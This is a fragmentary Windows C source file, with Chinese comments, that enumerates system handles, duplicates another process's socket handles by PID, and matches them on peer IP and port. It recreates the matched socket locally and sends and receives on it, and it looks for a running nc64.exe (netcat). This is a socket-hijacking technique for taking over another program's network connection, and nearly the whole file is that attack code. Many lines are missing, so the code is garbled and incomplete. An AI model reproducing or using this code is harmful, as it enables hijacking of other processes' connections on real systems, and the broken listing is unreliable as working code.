WSAStartup(MAKEWORD(2, 2), &WsaData);
pNtDuplicateObject = (NTDUPLICATEOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtDuplicateObject");
pNtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQuerySystemInformation");
pNtQueryObject = (NTQUERYOBJECT)GetProcAddress(GetModuleHandleW(L"ntdll.dll"), "NtQueryObject");
if (pNtDuplicateObject && pNtQuerySystemInformation && pNtQueryObject) {
BOOL IsTargetIPAndPort(HANDLE hSocket, PBYTE TargetIp, USHORT TargetPort)
INT NameLen = sizeof(SOCKADDR_IN);
ret = getpeername((SOCKET)hSocket, (PSOCKADDR)&SockAddr, &NameLen);
fwprintf(stderr, L"Failed to retrieve address of peer: %d\n", ret);
fwprintf(stdout, L"Address: %u.%u.%u.%u Port: %hu\n",
SockAddr.sin_addr.S_un.S_un_b.s_b1,
SockAddr.sin_addr.S_un.S_un_b.s_b2,
SockAddr.sin_addr.S_un.S_un_b.s_b3,
SockAddr.sin_addr.S_un.S_un_b.s_b4,
ntohs(SockAddr.sin_port));
if (memcmp((PVOID)&SockAddr.sin_addr.S_un.S_un_b, (PVOID)TargetIp, 4) == 0 &&
ntohs(SockAddr.sin_port) == TargetPort) {
SOCKET GetSocket(HANDLE hProcess, PBYTE pIpAddress, USHORT dwPort)
PSYSTEM_HANDLE_INFORMATION pSysHandleInfo = NULL;
POBJECT_NAME_INFORMATION pObjNameInfo = NULL;
ULONG SystemInformationLength = 0;
ULONG ObjectInformationLength = 0;
HANDLE TargetHandle = INVALID_HANDLE_VALUE;
SOCKET TargetSocket = INVALID_SOCKET;
PCWSTR pcwDeviceAfd = L"\\Device\\Afd";
WSAPROTOCOL_INFOW WsaProtocolInfo = { 0 };
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
while (pNtQuerySystemInformation(SystemHandleInformation,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH) {
SystemInformationLength = ReturnLength;
pSysHandleInfo = (PSYSTEM_HANDLE_INFORMATION)calloc(SystemInformationLength, sizeof(UCHAR));
for (size_t i = 0; i < pSysHandleInfo->NumberOfHandles; i++)
//句柄只在拥有者进程内有意义,所以这里需要通过NtDuplicateObject函数将句柄复制到当前进程
if (pSysHandleInfo->Handles[i].ObjectTypeIndex == 25) {
ntStatus = pNtDuplicateObject(hProcess,
(HANDLE)pSysHandleInfo->Handles[i].HandleValue,
if (ntStatus == STATUS_SUCCESS) {
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
//查询指定句柄的部分属性,返回结果为OBJECT_NAME_INFORMATION的结构体
while (pNtQueryObject(TargetHandle,
(OBJECT_INFORMATION_CLASS)ObjectNameInformation,
&ReturnLength) == STATUS_INFO_LENGTH_MISMATCH)
ObjectInformationLength = ReturnLength;
pObjNameInfo = (POBJECT_NAME_INFORMATION)calloc(ObjectInformationLength, sizeof(UCHAR));
if (NULL == pObjNameInfo) {
CloseHandle(TargetHandle);
//判断句柄符号名是否为\\Device\\Afd,这个描述名的句柄等同于socks句柄
if ((pObjNameInfo->Name.Length / 2) == wcslen(pcwDeviceAfd)) {
if ((wcsncmp(pObjNameInfo->Name.Buffer, pcwDeviceAfd, wcslen(pcwDeviceAfd)) == 0) &&//内存对比
IsTargetIPAndPort(TargetHandle, pIpAddress, dwPort)) { //如果这个句柄的对端地址和端口等同于输入,那就找到了。
WsaErr = WSADuplicateSocketW((SOCKET)TargetHandle, GetCurrentProcessId(), &WsaProtocolInfo);
//返回一个用于创建共享套接字的结构体WSAPROTOCOL_INFOW。
CloseHandle(TargetHandle);
//通过获取的WSAPROTOCOL_INFOW结构体创建一个新的socks。
TargetSocket = WSASocket(WsaProtocolInfo.iAddressFamily,
WsaProtocolInfo.iSocketType,
WsaProtocolInfo.iProtocol,
if (TargetSocket != INVALID_SOCKET) {
fwprintf(stdout, L"[OK] Socket was duplicated!\n");
CloseHandle(TargetHandle);
CloseHandle(TargetHandle);
DWORD WINAPI ThreadProc(LPVOID lpParam)
send((SOCKET)lpParam, msg, sizeof(msg), MSG_OOB);
int main(int argc, char** argv)
BYTE IpAddress[4] = { 0 };
dwPid = strtoul(argv[1], NULL, 10);
uPort = (USHORT)strtoul(argv[3], NULL, 10);
pToken = strtok_s(argv[2], ".", &Ptr);
while (pToken && i < 4) {
IpAddress[i] = (BYTE)strtoul(pToken, NULL, 10);
pToken = strtok_s(NULL, ".", &Ptr);
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
if (Process32First(hSnapshot, &pe))
if (lstrcmpi(L"nc64.exe", pe.szExeFile) == 0)
} while (Process32Next(hSnapshot, &pe));
hProc = OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwPid);
SOCKET NewSocket = GetSocket(hProc, IpAddress, uPort);
HANDLE hTHread = CreateThread(0, 0, ThreadProc, NewSocket, 0, 0);
if (NewSocket != INVALID_SOCKET) {
while (recv(NewSocket, Buff, 128, MSG_PEEK) == -1);